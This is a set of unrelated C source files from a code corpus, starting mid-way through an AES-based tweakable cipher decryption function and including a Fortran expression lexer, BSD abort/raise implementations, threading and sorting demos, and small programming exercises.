into the ciphertext */ PUTU32(ct , s0); PUTU32(ct + 4, s1); PUTU32(ct + 8, s2); PUTU32(ct + 12, s3); } /* ** Tweakable block cipher decryption function */ void aesTweakDecrypt(uint32_t tweakey_size, const uint8_t ct[16], const uint8_t key[], uint8_t pt[16]) { uint32_t s0; uint32_t s1; uint32_t s2; uint32_t s3; uint32_t t0; uint32_t t1; uint32_t t2; uint32_t t3; uint32_t rk[4*17]; /* Produce the round tweakeys */ deoxysKeySetupDec256 (rk, key, tweakey_size/128); /* Get the plaintext + key/tweak prewhitening */ s0 = GETU32(ct ) ^ rk[0]; s1 = GETU32(ct + 4) ^ rk[1]; s2 = GETU32(ct + 8) ^ rk[2]; s3 = GETU32(ct + 12) ^ rk[3]; /* Apply the inverse of the MixColumn transformation to use the Td AES tables */ s0 = Td0[Te4[(s0 >> 24) ] & 0xff] ^ Td1[Te4[(s0 >> 16) & 0xff] & 0xff] ^ Td2[Te4[(s0 >> 8) & 0xff] & 0xff] ^ Td3[Te4[(s0 ) & 0xff] & 0xff]; s1 = Td0[Te4[(s1 >> 24) ] & 0xff] ^ Td1[Te4[(s1 >> 16) & 0xff] & 0xff] ^ Td2[Te4[(s1 >> 8) & 0xff] & 0xff] ^ Td3[Te4[(s1 ) & 0xff] & 0xff]; s2 = Td0[Te4[(s2 >> 24) ] & 0xff] ^ Td1[Te4[(s2 >> 16) & 0xff] & 0xff] ^ Td2[Te4[(s2 >> 8) & 0xff] & 0xff] ^ Td3[Te4[(s2 ) & 0xff] & 0xff]; s3 = Td0[Te4[(s3 >> 24) ] & 0xff] ^ Td1[Te4[(s3 >> 16) & 0xff] & 0xff] ^ Td2[Te4[(s3 >> 8) & 0xff] & 0xff] ^ Td3[Te4[(s3 ) & 0xff] & 0xff]; /* round 1: */ t0 = Td0[s0 >> 24] ^ Td1[(s3 >> 16) & 0xff] ^ Td2[(s2 >> 8) & 0xff] ^ Td3[s1 & 0xff] ^ rk[ 4]; t1 = Td0[s1 >> 24] ^ Td1[(s0 >> 16) & 0xff] ^ Td2[(s3 >> 8) & 0xff] ^ Td3[s2 & 0xff] ^ rk[ 5]; t2 = Td0[s2 >> 24] ^ Td1[(s1 >> 16) & 0xff] ^ Td2[(s0 >> 8) & 0xff] ^ Td3[s3 & 0xff] ^ rk[ 6]; t3 = Td0[s3 >> 24] ^ Td1[(s2 >> 16) & 0xff] ^ Td2[(s1 >> 8) & 0xff] ^ Td3[s0 & 0xff] ^ rk[ 7]; /* round 2: */ s0 = Td0[t0 >> 24] ^ Td1[(t3 >> 16) & 0xff] ^ Td2[(t2 >> 8) & 0xff] ^ Td3[t1 & 0xff] ^ rk[ 8]; s1 = Td0[t1 >> 24] ^ Td1[(t0 >> 16) & 0xff] ^ Td2[(t3 >> 8) & 0xff] ^ Td3[t2 & 0xff] ^ rk[ 9]; s2 = Td0[t2 >> 24] ^ Td1[(t1 >> 16) & 0xff] ^ Td2[(t0 >> 8) & 0xff] ^ Td3[t3 & 0xff] ^ rk[10]; s3 = Td0[t3 >> 24] ^ Td1[(t2 >> 16) & 0xff] ^ Td2[(t1 >> 8) & 0xff] ^ Td3[t0 & 0xff] ^ rk[11]; /* round 3: */ t0 = Td0[s0 >> 24] ^ Td1[(s3 >> 16) & 0xff] ^ Td2[(s2 >> 8) & 0xff] ^ Td3[s1 & 0xff] ^ rk[12]; t1 = Td0[s1 >> 24] ^ Td1[(s0 >> 16) & 0xff] ^ Td2[(s3 >> 8) & 0xff] ^ Td3[s2 & 0xff] ^ rk[13]; t2 = Td0[s2 >> 24] ^ Td1[(s1 >> 16) & 0xff] ^ Td2[(s0 >> 8) & 0xff] ^ Td3[s3 & 0xff] ^ rk[14]; t3 = Td0[s3 >> 24] ^ Td1[(s2 >> 16) & 0xff] ^ Td2[(s1 >> 8) & 0xff] ^ Td3[s0 & 0xff] ^ rk[15]; /* round 4: */ s0 = Td0[t0 >> 24] ^ Td1[(t3 >> 16) & 0xff] ^ Td2[(t2 >> 8) & 0xff] ^ Td3[t1 & 0xff] ^ rk[16]; s1 = Td0[t1 >> 24] ^ Td1[(t0 >> 16) & 0xff] ^ Td2[(t3 >> 8) & 0xff] ^ Td3[t2 & 0xff] ^ rk[17]; s2 = Td0[t2 >> 24] ^ Td1[(t1 >> 16) & 0xff] ^ Td2[(t0 >> 8) & 0xff] ^ Td3[t3 & 0xff] ^ rk[18]; s3 = Td0[t3 >> 24] ^ Td1[(t2 >> 16) & 0xff] ^ Td2[(t1 >> 8) & 0xff] ^ Td3[t0 & 0xff] ^ rk[19]; /* round 5: */ t0 = Td0[s0 >> 24] ^ Td1[(s3 >> 16) & 0xff] ^ Td2[(s2 >> 8) & 0xff] ^ Td3[s1 & 0xff] ^ rk[20]; t1 = Td0[s1 >> 24] ^ Td1[(s0 >> 16) & 0xff] ^ Td2[(s3 >> 8) & 0xff] ^ Td3[s2 & 0xff] ^ rk[21]; t2 = Td0[s2 >> 24] ^ Td1[(s1 >> 16) & 0xff] ^ Td2[(s0 >> 8) & 0xff] ^ Td3[s3 & 0xff] ^ rk[22]; t3 = Td0[s3 >> 24] ^ Td1[(s2 >> 16) & 0xff] ^ Td2[(s1 >> 8) & 0xff] ^ Td3[s0 & 0xff] ^ rk[23]; /* round 6: */ s0 = Td0[t0 >> 24] ^ Td1[(t3 >> 16) & 0xff] ^ Td2[(t2 >> 8) & 0xff] ^ Td3[t1 & 0xff] ^ rk[24]; s1 = Td0[t1 >> 24] ^ Td1[(t0 >> 16) & 0xff] ^ Td2[(t3 >> 8) & 0xff] ^ Td3[t2 & 0xff] ^ rk[25]; s2 = Td0[t2 >> 24] ^ Td1[(t1 >> 16) & 0xff] ^ Td2[(t0 >> 8) & 0xff] ^ Td3[t3 & 0xff] ^ rk[26]; s3 = Td0[t3 >> 24] ^ Td1[(t2 >> 16) & 0xff] ^ Td2[(t1 >> 8) & 0xff] ^ Td3[t0 & 0xff] ^ rk[27]; /* round 7: */ t0 = Td0[s0 >> 24] ^ Td1[(s3 >> 16) & 0xff] ^ Td2[(s2 >> 8) & 0xff] ^ Td3[s1 & 0xff] ^ rk[28]; t1 = Td0[s1 >> 24] ^ Td1[(s0 >> 16) & 0xff] ^ Td2[(s3 >> 8) & 0xff] ^ Td3[s2 & 0xff] ^ rk[29]; t2 = Td0[s2 >> 24] ^ Td1[(s1 >> 16) & 0xff] ^ Td2[(s0 >> 8) & 0xff] ^ Td3[s3 & 0xff] ^ rk[30]; t3 = Td0[s3 >> 24] ^ Td1[(s2 >> 16) & 0xff] ^ Td2[(s1 >> 8) & 0xff] ^ Td3[s0 & 0xff] ^ rk[31]; /* round 8: */ s0 = Td0[t0 >> 24] ^ Td1[(t3 >> 16) & 0xff] ^ Td2[(t2 >> 8) & 0xff] ^ Td3[t1 & 0xff] ^ rk[32]; s1 = Td0[t1 >> 24] ^ Td1[(t0 >> 16) & 0xff] ^ Td2[(t3 >> 8) & 0xff] ^ Td3[t2 & 0xff] ^ rk[33]; s2 = Td0[t2 >> 24] ^ Td1[(t1 >> 16) & 0xff] ^ Td2[(t0 >> 8) & 0xff] ^ Td3[t3 & 0xff] ^ rk[34]; s3 = Td0[t3 >> 24] ^ Td1[(t2 >> 16) & 0xff] ^ Td2[(t1 >> 8) & 0xff] ^ Td3[t0 & 0xff] ^ rk[35]; /* round 9: */ t0 = Td0[s0 >> 24] ^ Td1[(s3 >> 16) & 0xff] ^ Td2[(s2 >> 8) & 0xff] ^ Td3[s1 & 0xff] ^ rk[36]; t1 = Td0[s1 >> 24] ^ Td1[(s0 >> 16) & 0xff] ^ Td2[(s3 >> 8) & 0xff] ^ Td3[s2 & 0xff] ^ rk[37]; t2 = Td0[s2 >> 24] ^ Td1[(s1 >> 16) & 0xff] ^ Td2[(s0 >> 8) & 0xff] ^ Td3[s3 & 0xff] ^ rk[38]; t3 = Td0[s3 >> 24] ^ Td1[(s2 >> 16) & 0xff] ^ Td2[(s1 >> 8) & 0xff] ^ Td3[s0 & 0xff] ^ rk[39]; /* round 10: */ s0 = Td0[t0 >> 24] ^ Td1[(t3 >> 16) & 0xff] ^ Td2[(t2 >> 8) & 0xff] ^ Td3[t1 & 0xff] ^ rk[40]; s1 = Td0[t1 >> 24] ^ Td1[(t0 >> 16) & 0xff] ^ Td2[(t3 >> 8) & 0xff] ^ Td3[t2 & 0xff] ^ rk[41]; s2 = Td0[t2 >> 24] ^ Td1[(t1 >> 16) & 0xff] ^ Td2[(t0 >> 8) & 0xff] ^ Td3[t3 & 0xff] ^ rk[42]; s3 = Td0[t3 >> 24] ^ Td1[(t2 >> 16) & 0xff] ^ Td2[(t1 >> 8) & 0xff] ^ Td3[t0 & 0xff] ^ rk[43]; /* round 11: */ t0 = Td0[s0 >> 24] ^ Td1[(s3 >> 16) & 0xff] ^ Td2[(s2 >> 8) & 0xff] ^ Td3[s1 & 0xff] ^ rk[44]; t1 = Td0[s1 >> 24] ^ Td1[(s0 >> 16) & 0xff] ^ Td2[(s3 >> 8) & 0xff] ^ Td3[s2 & 0xff] ^ rk[45]; t2 = Td0[s2 >> 24] ^ Td1[(s1 >> 16) & 0xff] ^ Td2[(s0 >> 8) & 0xff] ^ Td3[s3 & 0xff] ^ rk[46]; t3 = Td0[s3 >> 24] ^ Td1[(s2 >> 16) & 0xff] ^ Td2[(s1 >> 8) & 0xff] ^ Td3[s0 & 0xff] ^ rk[47]; /* round 12: */ s0 = Td0[t0 >> 24] ^ Td1[(t3 >> 16) & 0xff] ^ Td2[(t2 >> 8) & 0xff] ^ Td3[t1 & 0xff] ^ rk[48]; s1 = Td0[t1 >> 24] ^ Td1[(t0 >> 16) & 0xff] ^ Td2[(t3 >> 8) & 0xff] ^ Td3[t2 & 0xff] ^ rk[49]; s2 = Td0[t2 >> 24] ^ Td1[(t1 >> 16) & 0xff] ^ Td2[(t0 >> 8) & 0xff] ^ Td3[t3 & 0xff] ^ rk[50]; s3 = Td0[t3 >> 24] ^ Td1[(t2 >> 16) & 0xff] ^ Td2[(t1 >> 8) & 0xff] ^ Td3[t0 & 0xff] ^ rk[51]; /* round 13: */ t0 = Td0[s0 >> 24] ^ Td1[(s3 >> 16) & 0xff] ^ Td2[(s2 >> 8) & 0xff] ^ Td3[s1 & 0xff] ^ rk[52]; t1 = Td0[s1 >> 24] ^ Td1[(s0 >> 16) & 0xff] ^ Td2[(s3 >> 8) & 0xff] ^ Td3[s2 & 0xff] ^ rk[53]; t2 = Td0[s2 >> 24] ^ Td1[(s1 >> 16) & 0xff] ^ Td2[(s0 >> 8) & 0xff] ^ Td3[s3 & 0xff] ^ rk[54]; t3 = Td0[s3 >> 24] ^ Td1[(s2 >> 16) & 0xff] ^ Td2[(s1 >> 8) & 0xff] ^ Td3[s0 & 0xff] ^ rk[55]; /* round 14: */ s0 = Td0[t0 >> 24] ^ Td1[(t3 >> 16) & 0xff] ^ Td2[(t2 >> 8) & 0xff] ^ Td3[t1 & 0xff] ^ rk[56]; s1 = Td0[t1 >> 24] ^ Td1[(t0 >> 16) & 0xff] ^ Td2[(t3 >> 8) & 0xff] ^ Td3[t2 & 0xff] ^ rk[57]; s2 = Td0[t2 >> 24] ^ Td1[(t1 >> 16) & 0xff] ^ Td2[(t0 >> 8) & 0xff] ^ Td3[t3 & 0xff] ^ rk[58]; s3 = Td0[t3 >> 24] ^ Td1[(t2 >> 16) & 0xff] ^ Td2[(t1 >> 8) & 0xff] ^ Td3[t0 & 0xff] ^ rk[59]; if (384 == tweakey_size) { /* round 15: */ t0 = Td0[s0 >> 24] ^ Td1[(s3 >> 16) & 0xff] ^ Td2[(s2 >> 8) & 0xff] ^ Td3[s1 & 0xff] ^ rk[60]; t1 = Td0[s1 >> 24] ^ Td1[(s0 >> 16) & 0xff] ^ Td2[(s3 >> 8) & 0xff] ^ Td3[s2 & 0xff] ^ rk[61]; t2 = Td0[s2 >> 24] ^ Td1[(s1 >> 16) & 0xff] ^ Td2[(s0 >> 8) & 0xff] ^ Td3[s3 & 0xff] ^ rk[62]; t3 = Td0[s3 >> 24] ^ Td1[(s2 >> 16) & 0xff] ^ Td2[(s1 >> 8) & 0xff] ^ Td3[s0 & 0xff] ^ rk[63]; /* round 16: */ s0 = Td0[t0 >> 24] ^ Td1[(t3 >> 16) & 0xff] ^ Td2[(t2 >> 8) & 0xff] ^ Td3[t1 & 0xff] ^ rk[64]; s1 = Td0[t1 >> 24] ^ Td1[(t0 >> 16) & 0xff] ^ Td2[(t3 >> 8) & 0xff] ^ Td3[t2 & 0xff] ^ rk[65]; s2 = Td0[t2 >> 24] ^ Td1[(t1 >> 16) & 0xff] ^ Td2[(t0 >> 8) & 0xff] ^ Td3[t3 & 0xff] ^ rk[66]; s3 = Td0[t3 >> 24] ^ Td1[(t2 >> 16) & 0xff] ^ Td2[(t1 >> 8) & 0xff] ^ Td3[t0 & 0xff] ^ rk[67]; } /* Apply the MixColum to invert the last one performe in the Td table */ s0 = Te0[Td4[(s0 >> 24) ] & 0xff] ^ Te1[Td4[(s0 >> 16) & 0xff] & 0xff] ^ Te2[Td4[(s0 >> 8) & 0xff] & 0xff] ^ Te3[Td4[(s0 ) & 0xff] & 0xff]; s1 = Te0[Td4[(s1 >> 24) ] & 0xff] ^ Te1[Td4[(s1 >> 16) & 0xff] & 0xff] ^ Te2[Td4[(s1 >> 8) & 0xff] & 0xff] ^ Te3[Td4[(s1 ) & 0xff] & 0xff]; s2 = Te0[Td4[(s2 >> 24) ] & 0xff] ^ Te1[Td4[(s2 >> 16) & 0xff] & 0xff] ^ Te2[Td4[(s2 >> 8) & 0xff] & 0xff] ^ Te3[Td4[(s2 ) & 0xff] & 0xff]; s3 = Te0[Td4[(s3 >> 24) ] & 0xff] ^ Te1[Td4[(s3 >> 16) & 0xff] & 0xff] ^ Te2[Td4[(s3 >> 8) & 0xff] & 0xff] ^ Te3[Td4[(s3 ) & 0xff] & 0xff]; /* Put the state into the ciphertext */ PUTU32(pt , s0); PUTU32(pt + 4, s1); PUTU32(pt + 8, s2); PUTU32(pt + 12, s3); }
the_stack_data/1217811.c
#define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_19__ TYPE_9__ ; typedef struct TYPE_18__ TYPE_8__ ; typedef struct TYPE_17__ TYPE_7__ ; typedef struct TYPE_16__ TYPE_5__ ; typedef struct TYPE_15__ TYPE_3__ ; typedef struct TYPE_14__ TYPE_2__ ; typedef struct TYPE_13__ TYPE_1__ ; typedef struct TYPE_12__ TYPE_11__ ; /* Type definitions */ struct symbol {int dummy; } ; struct TYPE_14__ {int is_a_field_of_this; struct symbol* sym; } ; struct TYPE_13__ {int /*<<< orphan*/ type; } ; struct TYPE_16__ {char* ptr; int length; } ; struct TYPE_15__ {TYPE_2__ ssym; TYPE_1__ tsym; TYPE_5__ sval; int /*<<< orphan*/ opcode; int /*<<< orphan*/ lval; } ; typedef TYPE_3__ YYSTYPE ; struct TYPE_19__ {scalar_t__ la_language; } ; struct TYPE_18__ {int token; int /*<<< orphan*/ opcode; int /*<<< orphan*/ * operator; } ; struct TYPE_17__ {int token; int /*<<< orphan*/ opcode; int /*<<< orphan*/ * operator; } ; struct TYPE_12__ {int /*<<< orphan*/ value; int /*<<< orphan*/ * name; } ; /* Variables and functions */ int BOOLEAN_LITERAL ; int ERROR ; int INT ; scalar_t__ LOC_TYPEDEF ; int NAME ; int NAME_OR_INT ; scalar_t__ SYMBOL_CLASS (struct symbol*) ; int /*<<< orphan*/ SYMBOL_TYPE (struct symbol*) ; int TYPENAME ; int VARIABLE ; int /*<<< orphan*/ VAR_DOMAIN ; scalar_t__ alloca (int) ; TYPE_11__* boolean_values ; int /*<<< orphan*/ comma_terminates ; char* copy_name (TYPE_5__) ; TYPE_9__* current_language ; TYPE_8__* dot_ops ; int /*<<< orphan*/ error (char*,...) ; int /*<<< orphan*/ expression_context_block ; TYPE_7__* f77_keywords ; int input_radix ; scalar_t__ language_cplus ; char* lexptr ; int /*<<< orphan*/ lookup_primitive_typename (char*) ; struct symbol* lookup_symbol (char*,int /*<<< orphan*/ ,int /*<<< orphan*/ ,int*,int /*<<< orphan*/ *) ; unsigned int match_string_literal () ; int /*<<< orphan*/ memcpy (char*,char*,int) ; int /*<<< orphan*/ paren_depth ; int parse_number (char*,int,int,TYPE_3__*) ; char* prev_lexptr ; int /*<<< orphan*/ strlen (int /*<<< orphan*/ *) ; scalar_t__ strncmp (char*,int /*<<< orphan*/ *,int /*<<< orphan*/ ) ; int /*<<< orphan*/ write_dollar_variable (TYPE_5__) ; TYPE_3__ yylval ; __attribute__((used)) static int yylex () { int c; int namelen; unsigned int i,token; char *tokstart; retry: prev_lexptr = lexptr; tokstart = lexptr; /* First of all, let us make sure we are not dealing with the special tokens .true. and .false. which evaluate to 1 and 0. */ if (*lexptr == '.') { for (i = 0; boolean_values[i].name != NULL; i++) { if (strncmp (tokstart, boolean_values[i].name, strlen (boolean_values[i].name)) == 0) { lexptr += strlen (boolean_values[i].name); yylval.lval = boolean_values[i].value; return BOOLEAN_LITERAL; } } } /* See if it is a special .foo. operator */ for (i = 0; dot_ops[i].operator != NULL; i++) if (strncmp (tokstart, dot_ops[i].operator, strlen (dot_ops[i].operator)) == 0) { lexptr += strlen (dot_ops[i].operator); yylval.opcode = dot_ops[i].opcode; return dot_ops[i].token; } switch (c = *tokstart) { case 0: return 0; case ' ': case '\t': case '\n': lexptr++; goto retry; case '\'': token = match_string_literal (); if (token != 0) return (token); break; case '(': paren_depth++; lexptr++; return c; case ')': if (paren_depth == 0) return 0; paren_depth--; lexptr++; return c; case ',': if (comma_terminates && paren_depth == 0) return 0; lexptr++; return c; case '.': /* Might be a floating point number. */ if (lexptr[1] < '0' || lexptr[1] > '9') goto symbol; /* Nope, must be a symbol. */ /* FALL THRU into number case. */ case '0': case '1': case '2': case '3': case '4': case '5': case '6': case '7': case '8': case '9': { /* It's a number. */ int got_dot = 0, got_e = 0, got_d = 0, toktype; char *p = tokstart; int hex = input_radix > 10; if (c == '0' && (p[1] == 'x' || p[1] == 'X')) { p += 2; hex = 1; } else if (c == '0' && (p[1]=='t' || p[1]=='T' || p[1]=='d' || p[1]=='D')) { p += 2; hex = 0; } for (;; ++p) { if (!hex && !got_e && (*p == 'e' || *p == 'E')) got_dot = got_e = 1; else if (!hex && !got_d && (*p == 'd' || *p == 'D')) got_dot = got_d = 1; else if (!hex && !got_dot && *p == '.') got_dot = 1; else if (((got_e && (p[-1] == 'e' || p[-1] == 'E')) || (got_d && (p[-1] == 'd' || p[-1] == 'D'))) && (*p == '-' || *p == '+')) /* This is the sign of the exponent, not the end of the number. */ continue; /* We will take any letters or digits. parse_number will complain if past the radix, or if L or U are not final. */ else if ((*p < '0' || *p > '9') && ((*p < 'a' || *p > 'z') && (*p < 'A' || *p > 'Z'))) break; } toktype = parse_number (tokstart, p - tokstart, got_dot|got_e|got_d, &yylval); if (toktype == ERROR) { char *err_copy = (char *) alloca (p - tokstart + 1); memcpy (err_copy, tokstart, p - tokstart); err_copy[p - tokstart] = 0; error ("Invalid number \"%s\".", err_copy); } lexptr = p; return toktype; } case '+': case '-': case '*': case '/': case '%': case '|': case '&': case '^': case '~': case '!': case '@': case '<': case '>': case '[': case ']': case '?': case ':': case '=': case '{': case '}': symbol: lexptr++; return c; } if (!(c == '_' || c == '$' || (c >= 'a' && c <= 'z') || (c >= 'A' && c <= 'Z'))) /* We must have come across a bad character (e.g. ';'). */ error ("Invalid character '%c' in expression.", c); namelen = 0; for (c = tokstart[namelen]; (c == '_' || c == '$' || (c >= '0' && c <= '9') || (c >= 'a' && c <= 'z') || (c >= 'A' && c <= 'Z')); c = tokstart[++namelen]); /* The token "if" terminates the expression and is NOT removed from the input stream. */ if (namelen == 2 && tokstart[0] == 'i' && tokstart[1] == 'f') return 0; lexptr += namelen; /* Catch specific keywords. */ for (i = 0; f77_keywords[i].operator != NULL; i++) if (strncmp (tokstart, f77_keywords[i].operator, strlen(f77_keywords[i].operator)) == 0) { /* lexptr += strlen(f77_keywords[i].operator); */ yylval.opcode = f77_keywords[i].opcode; return f77_keywords[i].token; } yylval.sval.ptr = tokstart; yylval.sval.length = namelen; if (*tokstart == '$') { write_dollar_variable (yylval.sval); return VARIABLE; } /* Use token-type TYPENAME for symbols that happen to be defined currently as names of types; NAME for other symbols. The caller is not constrained to care about the distinction. */ { char *tmp = copy_name (yylval.sval); struct symbol *sym; int is_a_field_of_this = 0; int hextype; sym = lookup_symbol (tmp, expression_context_block, VAR_DOMAIN, current_language->la_language == language_cplus ? &is_a_field_of_this : NULL, NULL); if (sym && SYMBOL_CLASS (sym) == LOC_TYPEDEF) { yylval.tsym.type = SYMBOL_TYPE (sym); return TYPENAME; } if ((yylval.tsym.type = lookup_primitive_typename (tmp)) != 0) return TYPENAME; /* Input names that aren't symbols but ARE valid hex numbers, when the input radix permits them, can be names or numbers depending on the parse. Note we support radixes > 16 here. */ if (!sym && ((tokstart[0] >= 'a' && tokstart[0] < 'a' + input_radix - 10) || (tokstart[0] >= 'A' && tokstart[0] < 'A' + input_radix - 10))) { YYSTYPE newlval; /* Its value is ignored. */ hextype = parse_number (tokstart, namelen, 0, &newlval); if (hextype == INT) { yylval.ssym.sym = sym; yylval.ssym.is_a_field_of_this = is_a_field_of_this; return NAME_OR_INT; } } /* Any other kind of symbol */ yylval.ssym.sym = sym; yylval.ssym.is_a_field_of_this = is_a_field_of_this; return NAME; } }
the_stack_data/9512328.c
/* * * @author : Anmol Agrawal * */ #include <stdio.h> #include <stdlib.h> int main() { int i,s,t,a,b,n,m,*apple,*orange,ac=0,oc=0,x; scanf("%d %d",&s,&t); scanf("%d %d",&a,&b); scanf("%d %d",&n,&m); apple=(int *)malloc(n*sizeof(int)); orange=(int *)malloc(m*sizeof(int)); for(i=0;i<n;i++) { scanf("%d",apple+i); x=a+*(apple+i); if( (x>=s) && (x<=t) ) { ac++; } } for(i=0;i<m;i++) { scanf("%d",orange+i); x=b+*(orange+i); if( (x>=s) && (x<=t) ) { oc++; } } printf("%d\n%d",ac,oc); return 0; }
the_stack_data/87414.c
/**~activity~ * FlowFinalNode [Class] * * Description * * A FlowFinalNode is a FinalNode that terminates a flow by consuming the tokens offered to it. * * Diagrams * * Control Nodes * * Generalizations * * FinalNode **/
the_stack_data/126704179.c
#include <stdio.h> int main() { puts("Hello!"); }
the_stack_data/1018747.c
#include <stdio.h> int main() { printf("Hello, C!"); return 0; }
the_stack_data/88402.c
#include <stdio.h> #include <stdlib.h> #include <pthread.h> void *sum_runner(void *arg) { long long *sum = malloc(sizeof(long long)); *sum = 0; for (long long i = 0; i <= *(long long *)arg; i++) *sum += i; pthread_exit((void *)sum); } int main(int argc, char **argv) { printf("welcome in sum_of_threads programe!!!\n"); if (argc < 2) { perror("Please pass atleast one argument "); exit(-1); } int num_args = argc - 1; pthread_t tid[num_args]; long long limit[num_args]; for (int i = 0; i < num_args; i++) { limit[i] = atoll(argv[i + 1]); pthread_attr_t attr; pthread_attr_init(&attr); pthread_create(&tid[i], &attr, sum_runner, &limit[i]); } for (int i = 0; i < num_args; i++) { long long *ret; pthread_join(tid[i], (void **)&ret); printf("sum is %ld -- %lld\n", tid[i], *ret); free(ret); } return 0; }
the_stack_data/61075444.c
#include <stdio.h> #include <stdlib.h> #include <assert.h> void swap(int *a,int *b) { int temp; temp = *a; *a = *b; *b = temp; } void bubblesort(int *A, int sort_type) { int i,j; for (i = 0; i < 13;i ++) { for (j = i + 1; j < 13; j ++) { if (A[j] < A[i]) { swap(&A[i],&A[j]); } } } } int main(){ int sort_type = 1; int A[] = {0,1,2,3,4,5,5,6,7,5,8,6,7}; bubblesort(A, sort_type); int i = 0; for (i = 0; i < 13; i ++) { printf("%d ",A[i]); } printf("\n"); return 0; }
the_stack_data/1139062.c
/* * Copyright (c) 1985, 1993 * The Regents of the University of California. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. All advertising materials mentioning features or use of this software * must display the following acknowledgement: * This product includes software developed by the University of * California, Berkeley and its contributors. * 4. Neither the name of the University nor the names of its contributors * may be used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. */ #include <sys/cdefs.h> #if defined(LIBC_SCCS) && !defined(lint) static char sccsid[] = "@(#)abort.c 8.1.1 (2.11BSD) 1997/9/9"; #endif /* LIBC_SCCS and not lint */ #include <sys/signal.h> #include <signal.h> #include <stdlib.h> #include <stddef.h> #include <unistd.h> void abort() { sigset_t mask; sigfillset(&mask); /* * don't block SIGABRT to give any handler a chance; we ignore * any errors -- X311J doesn't allow abort to return anyway. */ sigdelset(&mask, SIGABRT); (void)sigprocmask(SIG_SETMASK, &mask, (sigset_t *)NULL); (void)kill(getpid(), SIGABRT); /* * if SIGABRT ignored, or caught and the handler returns, do * it again, only harder. */ (void)signal(SIGABRT, SIG_DFL); (void)sigprocmask(SIG_SETMASK, &mask, (sigset_t *)NULL); (void)kill(getpid(), SIGABRT); exit(1); }
the_stack_data/237642746.c
/* $OpenBSD: raise.c,v 1.5 2005/08/08 08:05:34 espie Exp $ */ /*- * Copyright (c) 1990, 1993 * The Regents of the University of California. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. Neither the name of the University nor the names of its contributors * may be used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. */ #include <signal.h> #include <unistd.h> int raise(int s) { return(kill(getpid(), s)); }
the_stack_data/175142741.c
/* Check the impact of anymodule:anywhere on the semantics analysis * * Discussion between Beatrice and Fabien: meaning of anymodule:anywhere... */ void anywhere01() { int m = 1; int *p = &m; int n = 17; /* The write effect on n is absorbed by the unknown write effect due to *p =>anymodule:anywhere must imply a write on n */ *p = 19, n = 2; n = 23; // assuming this is an anywhere write effect (without points-to // info), the information on n should be preserved because n is // never referenced (i.e. &n does not appear in source code). *p = 31; // n == 23 return; }
the_stack_data/68144.c
/* ************************************************************************** */ /* */ /* ::: :::::::: */ /* ft_div_mod.c :+: :+: :+: */ /* +:+ +:+ +:+ */ /* By: lyuri-go <[email protected]> +#+ +:+ +#+ */ /* +#+#+#+#+#+ +#+ */ /* Created: 2021/04/05 23:28:40 by lyuri-go #+# #+# */ /* Updated: 2021/04/05 23:37:46 by lyuri-go ### ########.fr */ /* */ /* ************************************************************************** */ void ft_div_mod(int a, int b, int *div, int *mod) { *div = a / b; *mod = a % b; }
the_stack_data/173576993.c
int n,m,q,cnt=0,ans[1005*1005],p[1005][1005]; char s[1005][1005]; int dx[]={1,0,-1,0},dy[]={0,1,0,-1}; void dfs(int x,int y){ p[x][y]=cnt; for(int i=0;i<4;++i){ int nx=x+dx[i],ny=y+dy[i]; if(p[nx][ny]) continue; if(s[nx][ny]=='*') ans[cnt]++; else dfs(nx,ny); } } int main(){ scanf("%d%d%d",&n,&m,&q); for(int i=0;i<n;++i) scanf("%s",s[i]); while (q--) { int x,y; scanf("%d%d",&x,&y); x--,y--; ++cnt; if(!p[x][y]) dfs(x,y);printf("%d\n",ans[p[x][y]]); } return 0; }
the_stack_data/787545.c
